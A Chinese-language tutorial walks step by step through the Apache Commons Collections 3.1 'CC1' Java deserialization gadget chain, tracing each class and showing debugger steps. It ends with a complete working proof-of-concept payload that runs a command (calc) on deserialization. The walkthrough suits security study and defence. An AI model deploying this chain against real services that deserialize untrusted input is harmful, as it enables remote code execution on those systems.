Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta
项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper
(是一些已发布的项目)、Sandbox
(是一些正在开发的项目)和Dormant
(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
因为Commons Collections
都是一些集合类,集合类一般都可以接受任意对象,所以直接去找方法调用即可
反序列化流程:
jdk一般都用的8u65版本,可以从官网下载
可以再虚拟机中安装,再将jdk拷贝到物理机
之后将里面的scr.zip
解压
其实原生的src里面是没有sun包的。
需要外置导入。
下载JDK对应的openJDK,
openJDK
找到src\share\classes下的sun
复制到jdk下的src下。
导入项目
创建一个新的maven项目
再用3.1版本的cc1的maven即可
<dependencies>
<dependency>
<groupId>commons-collectionsgroupId>
<artifactId>commons-collectionsartifactId>
<version>3.1version>
dependency>
dependencies>
看到这样的目录我们就构建成功了
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class cc1 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformer = new ChainedTransformer(transformers);
transformer.transform(1);
}
}
Transformer[] transformers = new Transformer[]{ //数组
new ConstantTransformer(Runtime.getRuntime()), //ConstantTransformer
定义了transformer
数组,之后将Runtime.getRuntime()
传入到ConstantTransformer
中,而我们命令执行的时候需要的就是Runtime.getRuntime()
下的exec
跟一下ConstantTransformer
他将Runtime.getRuntime
传到iConstant
中,而iConstant
是个object类型的
可以看到iConstant
里面有一个transform
方法,可以直接将传入的东西返回出来,
ConstantTransformer->iConstant->Runtime.getRuntime()
之后
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformer = new ChainedTransformer(transformers);
transformer.transform(1);
}
这是将InvokerTransformer
传入了一串东西,看一下InvokerTransformer
构造
接受了三个参数,String类型,Class类型和Object,传入之后就相当于
iMethodName = exec;
iParamTypes = String.class;
iArgs = calc;
为啥要这样传呢,在InvokerTransformer
中,有一个transform
方法
而其中的
很明显的一个反射执行命令
Class cls = input.getClass();
可以获得一个类
Method method = cls.getMethod(iMethodName, iParamTypes);
可以获得类的方法,而我们之前传进去的
iMethodName = exec;
iParamTypes = String.class;
iArgs = calc;
这三个参数,就可以通过getMethod
获得,也就是
Method method = cls.getMethod(exec, String.class);
最后执行命令是
return method.invoke(input, iArgs);
直接通过invoke
,input就可以是我们传出的Runtime.getRuntime()
,iArgs
其实就是参数,也就是传入的calc
,这就造成了命令执行
但他怎么才能命令执行,也就是获取正确的class
在poc中还有一段
Transformer transformer = new ChainedTransformer(transformers);
transformer.transform(1);
把transformers
这个数组放到了ChainedTransformer
中,追一下ChainedTransformer
可以看到他接受的就是一个transformers
数组,并且将他放在了iTransformers
中
而在poc中,对transform
传了一个参数
transformer.transform(1);
追一下这个方法
一个for循环,并且里面的iTransformers
是我们之前传的参数,再通过iTransformers[i].transform(object);
达到命令执行
跟一下断点
可以看到iTransformers.length
一定是二,因为我们上面传的是两个参数,for循环中,当i=0时,就会调用ConstanTransformer.transform
(可以看箭头,很明显),同样的道理,当i=1时,调用InvokerTransformer.transform
继续跟进验证一下
确实是,而刚刚我们将Runtime.getRuntime()
存到了iConstant
中
ConstantTransformer->iConstant->Runtime.getRuntime()
直接return
可以看到,现在的object
就是我们需要的Runtime.getRuntime()
,i=0就完成了,接下来继续i=1,在i=1中objec是等于Runtime.getRuntime()
继续跟
可以看到getMethod
中的参数是我们在poc中传入的,而Object input
正好是我们要的Runtime.getRuntime()
,就命令执行了
首先就是接口Transformer
只有一个transform
方法,找这个方法的接口类
进去之后就看到了我们之前说的反射类命令执行
就到了InvokerTransformer
的transform
,再往下找哪里调用了InvokerTransformer
的transform
checkSetValue
中调用了valueTransformer
的transform
,再看看valueTransformer
是啥
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
保护方法只能被自己调用,再找调用他的函数
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
decorate
中调用了TransformedMap
给他做了一个封装
再去找调用checkSetValue
的
在setValue
中被调用,其中setValue
就是entry.map
中的一个方法,如果我们吧map都遍历一边,那就肯定会调用到setValue
,之后就会调用checkSetValue
,进而到我们想要的transform
,之后再去找遍历数组的地方,调用setValue
的
在AnnotationInvocationHandler
中找到了调用setValue
而且遍历map
的方法,用反射获取信息
写poc的时候
Runtime r = Runtime.getRuntime();
不能被反序列化因为没有接口,所以用反射来获取他的属性之后再反序列化
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
Class c = Runtime.class;
之后将所有transformer
放到一个中,就可以只调用一次就可以
Transformer[] transformers = new Transform[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
chainedTransformer.transform(Runtime.class);
之后因为这里有两个if语句也要绕过才能调用setValue
第一个if
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
实际上就是让我们找一个有成员方法的class,同时map.put()
中的数组要改成成员方法的名字
例如map.put('value','aaa')
第二个if
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
判断这两个东西是否能强转,这里肯定是不可以的所有就绕过了两个if了
但setValue实参不可控,但刚开始我们有一个tranform
可以直接返回我们输入的,我们最后调用这个点就可以
Transformer[] transformers = new Transform[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
最终payload
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
public class cc1 {
public static void main(String[] args) throws Exception {
// Transformer[] transformers = new Transformer[]{ //数组
// new ConstantTransformer(Runtime.getRuntime()), //ConstantTransformer
// Runtime r = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// HashMap
// map.put("key","123");
// Map transformedMap = TransformedMap.decorate(map,null,chaine);
// //遍历map
// for(Map.Entry entry:map.entrySet()){
// entry.setValue(r);
// }
// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
// Class c = Runtime.class;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("value","123");
Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
// Method getRuntimeMethod = c.getMethod("getRuntime", null);
// Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor a = c.getDeclaredConstructor(Class.class,Map.class);
//确定可以访问
a.setAccessible(true);
Object o = a.newInstance(Target.class,transformedMap);
serialize(o);
unserializ("ser.bin");
// TransformedMap.decorate(map,null,invokerTransformer);
}
;
// Transformer transformer = new ChainedTransformer(transformers);
// transformer.transform(1);
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserializ(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}